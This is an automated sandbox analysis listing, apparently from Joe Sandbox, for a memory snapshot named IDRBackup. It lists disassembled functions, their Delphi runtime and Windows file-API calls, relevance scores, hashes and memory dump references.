Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: File$L120System@@$CreateView$AnsiCloseHandleStringSystem@System@%UnicodeUnmap$Char$qqrx20Char$qqrx27Clr$qqrpv.FromMappingSizeStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 3470079822-0
Opcode ID: de3ddcc5fa4b46089182e1a076c4e88a990246460323139d59d036afdc120861
Instruction ID: fdee8bce86eb084e08d34cf170324e7c4ccd5ee9b2ea44aacdc1efd5635617bc
Opcode Fuzzy Hash: de3ddcc5fa4b46089182e1a076c4e88a990246460323139d59d036afdc120861
Instruction Fuzzy Hash: F6514070A01289AFEB11CBA8DC45BAEB7F4EB48751F604125B614BB2C1D7B49A408BD5

Function 57004004 Relevance: 19.6, APIs: 13, Instructions: 72COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 57004014
@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5700401C
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,570040D2), ref: 57004034
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,570040D2), ref: 57004039
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,570040D2), ref: 57004045
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,570040D2), ref: 5700404A
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(570040D9), ref: 570040CC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Ansi$StringSystem@%$EnsureLen$qqrx27Ref$qqrpv.String$qqrr27T$us$i0$%.T$us$i0$%us.$ArrayClr$qqrpvi.
String ID:
API String ID: 1632476202-0
Opcode ID: 4cd166fc9b29aa78e2f5675f81387908162be3fbe24ec76412a78ef56a8441ff
Instruction ID: 6c25bf31e0f5f144fd8082eb3e5694b27b3cd3a2b91361f9dacdae3f5e0d28aa
Opcode Fuzzy Hash: 4cd166fc9b29aa78e2f5675f81387908162be3fbe24ec76412a78ef56a8441ff
Instruction Fuzzy Hash: 6D21A230A15284AFF748DBF4D880ADE77F8EF89260FD14072F410E2382DB349A44969B

Function 570040E0 Relevance: 19.6, APIs: 13, Instructions: 68COMMON

Download Yara Rule

APIs

@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 570040F0
@System@@UStrAddRef$qqrpv.RTL120.BPL ref: 570040F8
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,570041A6), ref: 5700410E
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,570041A6), ref: 57004113
@System@@EnsureUnicodeString$qqrr20System@UnicodeString.RTL120.BPL(00000000,570041A6), ref: 5700411D
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,570041A6), ref: 57004122
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(570041AD), ref: 570041A0

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Unicode$String.System@$EnsureLen$qqrx20Ref$qqrpv.String$qqrr20$ArrayClr$qqrpvi.
String ID:
API String ID: 3854879249-0
Opcode ID: 8e8a345e45cfc04b169bd2bf7721edd19660ab521176e4e5a51db3263d68ae07
Instruction ID: 25280bc442b05ae86769308adf3dacbb1545a27873da6e8c5eea35327edb9055
Opcode Fuzzy Hash: 8e8a345e45cfc04b169bd2bf7721edd19660ab521176e4e5a51db3263d68ae07
Instruction Fuzzy Hash: D4114530A25188EFFB45DBF4DC81ACE77E89B1A360FE00076F500D23D2DA309A54869A

Function 57004E28 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 107COMMON

Download Yara Rule

APIs

@System@@UStrEqual$qqrv.RTL120.BPL(00000000,57004F57,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E4D
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E80
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E93
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004E9F
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EA9
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004ED6
@System@@UStrCopy$qqrx20System@UnicodeStringii.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EE9
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EF5
@System@@UStrLAsg$qqrr20System@UnicodeStringx20System@UnicodeString.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004EFF
@System@@UStrArrayClr$qqrpvi.RTL120.BPL(57004F5E,?,?,?,00000000,00000000,00000000,00000000), ref: 57004F51

Strings

*.*, xrefs: 57004E48

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: System@Unicode$L120System@@$Asg$qqrr20Copy$qqrx20String.Stringii.Stringx20$ArrayClr$qqrpvi.Equal$qqrv.
String ID: *.*
API String ID: 2339208914-438819550
Opcode ID: fc41e0228263d2ad8a3b57b831c86da65358cb192404157586d03b974b4dd804
Instruction ID: c31bc1b71c8c7537d7a45a5e47931fc52cf218518c73a89ca28e09c3ee70c603
Opcode Fuzzy Hash: fc41e0228263d2ad8a3b57b831c86da65358cb192404157586d03b974b4dd804
Instruction Fuzzy Hash: 43318130711184AFB744DFA8D8809BE73EAEF8A321BE0426AF510D7382DB74DE064656

Function 57004CCC Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 105COMMON

Download Yara Rule

APIs

@System@@LStrEqual$qqrv.RTL120.BPL(00000000,57004DF7,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004CF1
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D24
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D37
@System@@LStrLAsg$qqrpvpxv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D43
@System@@LStrClr$qqrpv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D4B
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D78
@System@@LStrCopy$qqrv.RTL120.BPL(?,?,?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D8B
@System@@LStrLAsg$qqrpvpxv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D97
@System@@LStrClr$qqrpv.RTL120.BPL(?,?,?,?,00000000,00000000,00000000,00000000), ref: 57004D9F
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(57004DFE,?,?,?,00000000,00000000,00000000,00000000), ref: 57004DF1

Strings

*.*, xrefs: 57004CEC

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$Copy$qqrv.$Asg$qqrpvpxv.Clr$qqrpv.$ArrayClr$qqrpvi.Equal$qqrv.
String ID: *.*
API String ID: 3923248467-438819550
Opcode ID: 5838b076a884df06d898b0c4518d909ec7117489e305d514dc3d262762b5fb31
Instruction ID: dcda74ae76d25ee5f37e173683dad7748208c66924c45b7b9160080daab7be2c
Opcode Fuzzy Hash: 5838b076a884df06d898b0c4518d909ec7117489e305d514dc3d262762b5fb31
Instruction Fuzzy Hash: C33183307141849FE784DFE5D884AEE73EEEB8A720B904266F510D73C2DB749D068756

Function 5701F9F0 Relevance: 18.1, APIs: 12, Instructions: 61COMMON

Download Yara Rule

APIs

@System@@LStrAddRef$qqrpv.RTL120.BPL ref: 5701FA04
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701FA9F), ref: 5701FA1C
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701FA9F), ref: 5701FA21

Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F7DB
Part of subcall function 5701F7A4: @System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL ref: 5701F878
Part of subcall function 5701F7A4: @System@@LStrSetLength$qqrv.RTL120.BPL ref: 5701F885

@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701FA9F), ref: 5701FA38
@System@@LStrLen$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701FA9F), ref: 5701FA3D
@System@@UStrSetLength$qqrr20System@UnicodeStringi.RTL120.BPL(00000000,5701FA9F), ref: 5701FA4D
@System@@EnsureAnsiString$qqrr27System@%AnsiStringT$us$i0$%us.RTL120.BPL(00000000,5701FA9F), ref: 5701FA5C
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,5701FA9F), ref: 5701FA64
@System@@UStrLen$qqrx20System@UnicodeString.RTL120.BPL(00000000,00000000,5701FA9F), ref: 5701FA6C
@System@@UniqueStringU$qqrr20System@UnicodeString.RTL120.BPL(00000000,00000000,00000000,5701FA9F), ref: 5701FA76
@System@Move$qqrpxvpvi.RTL120.BPL(00000000,5701FA9F), ref: 5701FA7F
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5701FAA6), ref: 5701FA99

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120$System@@$Ansi$String$System@%$System@T$us$i0$%.$EnsureLen$qqrx27String$qqrr27T$us$i0$%us.Unicode$Length$qqrv.String.Unique$A$qqrr27ArrayClr$qqrpvi.Len$qqrx20Length$qqrr20Move$qqrpxvpvi.Ref$qqrpv.Stringi.U$qqrr20
String ID:
API String ID: 2266007957-0
Opcode ID: 21497655dd6b9dbb4150446c1521c750e57c12a4d4299bac048fddc92dabf6fc
Instruction ID: b508e09535e43681d6dbbcd5027a933e03ea13da84b185f183b632eadda786be
Opcode Fuzzy Hash: 21497655dd6b9dbb4150446c1521c750e57c12a4d4299bac048fddc92dabf6fc
Instruction Fuzzy Hash: 56118A71A152849FE704DBF4EC906DE77E9DF88360FD44477A404D33C6EE35AA059582

Function 570207CC Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 175fileCOMMON

Download Yara Rule

APIs

@System@@GetMem$qqri.RTL120.BPL(00000000,570209ED), ref: 570207F5

Part of subcall function 5700189C: @System@@FillChar$qqrpvib.RTL120.BPL(5701AC73), ref: 5700189E

CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,00000000,570209ED), ref: 57020844
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,00000000,00000004,00000000,00000000,00000000,00000000,570209ED), ref: 57020865
SetLastError.KERNEL32(00000002,00000000,000F001F,00000000,00000000,00000000,?,00000000,00000004,00000000,00000000,00000000,00000000,570209ED), ref: 570208D4
@System@@LStrFromPChar$qqrr27System@%AnsiStringT$us$i0$%pcus.RTL120.BPL(00000002,00000000,000F001F,00000000,00000000,00000000,?,00000000,00000004,00000000,00000000,00000000,00000000,570209ED), ref: 57020905
@System@@New$qqripv.RTL120.BPL(00000002,00000000,000F001F,00000000,00000000,00000000,?,00000000,00000004,00000000,00000000,00000000,00000000,570209ED), ref: 5702096D
GetLastError.KERNEL32(00000000,570209ED), ref: 570209C2
SetLastError.KERNEL32(00000000,00000000,000000FF,00000000,570209ED), ref: 570209D2
@System@@LStrClr$qqrpv.RTL120.BPL(570209F4), ref: 570209E7

Strings

upx, xrefs: 57020915

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$ErrorLast$File$AnsiChar$qqrpvib.Char$qqrr27Clr$qqrpv.CreateFillFromMappingMem$qqri.New$qqripv.StringSystem@%T$us$i0$%pcus.View
String ID: upx
API String ID: 3286672559-3701142353
Opcode ID: 7d8fb88d4dfb27171a92690f98407d9f9a8763372a9326f371cd0d4443335f37
Instruction ID: 583498c0d95f23d4b5dde66d567c23d4f54ebcbd8e5f9fbf13d16ae8a122f01a
Opcode Fuzzy Hash: 7d8fb88d4dfb27171a92690f98407d9f9a8763372a9326f371cd0d4443335f37
Instruction Fuzzy Hash: 0D619B71A013859FEB04CF98C880B9EB7F1EF44320F24819AD8169B387D774DA42DB92

Function 5701E107 Relevance: 16.5, APIs: 11, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 5701E107
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000), ref: 5701E118
SetFileAttributesW.KERNEL32(00000000,00000000), ref: 5701E120
DeleteFileW.KERNEL32(00000000,00000000,00000000), ref: 5701E126
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000), ref: 5701E13A
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000), ref: 5701E142
SetFileAttributesA.KERNEL32(00000000,00000000), ref: 5701E14A
DeleteFileA.KERNEL32(00000000,00000000,00000000), ref: 5701E150
@System@@DoneExcept$qqrv.RTL120.BPL(00000000,00000000,00000000), ref: 5701E15A
SetLastError.KERNEL32(00000000,00000000,00000003,08000080,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701E166
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5701E18D,00000000,00000000,5701E102,?,00000000,5701E186), ref: 5701E180

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$File$AnsiAttributesDeleteStringSystem@System@%Unicode$ArrayChar$qqrx20Char$qqrx27Clr$qqrpvi.DoneErrorExcept$qqrv.FromLastStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 3670797542-0
Opcode ID: b8e8ccd7c3467b06c4ca18f20bd4ab8026579201cd811178c3d6b8db1b802558
Instruction ID: 79e997018ae7286860af4a82bc4ca349be101d2d0fa2685250a1ac5e31921f21
Opcode Fuzzy Hash: b8e8ccd7c3467b06c4ca18f20bd4ab8026579201cd811178c3d6b8db1b802558
Instruction Fuzzy Hash: 47F0FF746652C49FF704D7F0ED80BAF62E9DF48361FD11466A506A63C3D9289D0146E3

Function 5701DCDC Relevance: 16.5, APIs: 11, Instructions: 40fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 5701DCDC
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(00000000), ref: 5701DCED
SetFileAttributesW.KERNEL32(00000000,00000000), ref: 5701DCF5
DeleteFileW.KERNEL32(00000000,00000000,00000000), ref: 5701DCFB
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(00000000), ref: 5701DD0F
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000), ref: 5701DD17
SetFileAttributesA.KERNEL32(00000000,00000000), ref: 5701DD1F
DeleteFileA.KERNEL32(00000000,00000000,00000000), ref: 5701DD25
@System@@DoneExcept$qqrv.RTL120.BPL(00000000,00000000,00000000), ref: 5701DD2F
SetLastError.KERNEL32(00000000,00000000,00000003,00000000,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DD3B
@System@@LStrArrayClr$qqrpvi.RTL120.BPL(5701DD62,00000000,00000000,5701DCD7,?,00000000,5701DD5B), ref: 5701DD55

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: L120System@@$File$AnsiAttributesDeleteStringSystem@System@%Unicode$ArrayChar$qqrx20Char$qqrx27Clr$qqrpvi.DoneErrorExcept$qqrv.FromLastStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 3670797542-0
Opcode ID: 49df46b2a39273fdffe0bf40af7e87144b79be93cd6a5005c02490b204c09a2d
Instruction ID: 8128681a67b5eb55bafd527a66631896e57bcf954000e56e6cc8cecc9c48ec4e
Opcode Fuzzy Hash: 49df46b2a39273fdffe0bf40af7e87144b79be93cd6a5005c02490b204c09a2d
Instruction Fuzzy Hash: BBF0FF74666284AFF704D7F0EC80BEF66E8DF44361FD01422B506A62C3DA289D4646E3

Function 5701E1F4 Relevance: 15.1, APIs: 10, Instructions: 88fileCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,5701E2D3), ref: 5701E21D
@System@@UStrToPWChar$qqrx20System@UnicodeString.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E23A
CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E240
@System@@LStrFromUStr$qqrr27System@%AnsiStringT$us$i0$%x20System@UnicodeStringus.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E262
@System@@LStrToPChar$qqrx27System@%AnsiStringT$us$i0$%.RTL120.BPL(80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E26A
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E270
ReadFile.KERNEL32(00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E289
ReadFile.KERNEL32(00000000,?,00000004,00000008,00000000,00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000), ref: 5701E2A2
CloseHandle.KERNEL32(00000000,00000000,?,00000008,?,00000000,00000000,80000000,00000003,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E2B8
@System@@LStrClr$qqrpv.RTL120.BPL(5701E2DA,00000000,00000003,00000000,00000000,00000000,5701E2D3), ref: 5701E2CD

Memory Dump Source

Source File: 00000006.00000002.2404665255.0000000057013000.00000020.00000001.01000000.0000000A.sdmp, Offset: 57000000, based on PE: true

Associated: 00000006.00000002.2404563771.0000000057000000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057001000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2404665255.0000000057003000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2408658185.0000000057024000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410178945.0000000057025000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410246162.0000000057030000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2410308778.0000000057031000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000006.00000002.2411266627.000000005703B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_57000000_IDRBackup.jbxd

Similarity

API ID: FileL120System@@$AnsiCreateReadStringSystem@System@%Unicode$Char$qqrx20Char$qqrx27CloseClr$qqrpv.FromHandleStr$qqrr27String.Stringus.T$us$i0$%.T$us$i0$%x20Version
String ID:
API String ID: 4118243485-0
Opcode ID: 9c45412f0e6066b3f2dae435a7e3655fd3776fad8674649ae8c6f02d3e7b8717
Instruction ID: 437cc029879643d042431f61e5cac247c5c8767f6208154b02b2e0eb3f8040d1
Opcode Fuzzy Hash: 9c45412f0e6066b3f2dae435a7e3655fd3776fad8674649ae8c6f02d3e7b8717
Instruction Fuzzy Hash: DB21D730A54244BFF7118BE4DC51FAE73ECDB45761FA000B9FA14F71C1DA749A0086A2

Function 57005390 Relevance: 15.1, APIs: 10, Instructions: 83COMMON

Download Yara Rule

APIs

@System@@LStrSetLength$qqrv.RTL120.BPL ref: 570053C7
@System@@_llmod$qqrv.RTL120.BPL(0000000A,00000000), ref: 570053DB
@System@@_lldiv$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 570053F7
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005404
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005425
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 57005436
@System@@UniqueStringA$qqrr27System@%AnsiStringT$us$i0$%.RTL120.BPL(00000000,0000000A,00000000,0000000A,00000000), ref: 5700543E
@System@Move$qqrpxvpvi.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700544F
@System@@LStrSetLength$qqrv.RTL120.BPL(0000000A,00000000,0000000A,00000000), ref: 5700545A
@System@@LStrAsg$qqrpvpxv.RTL120.BPL ref: 57005468

Memory Dump Source

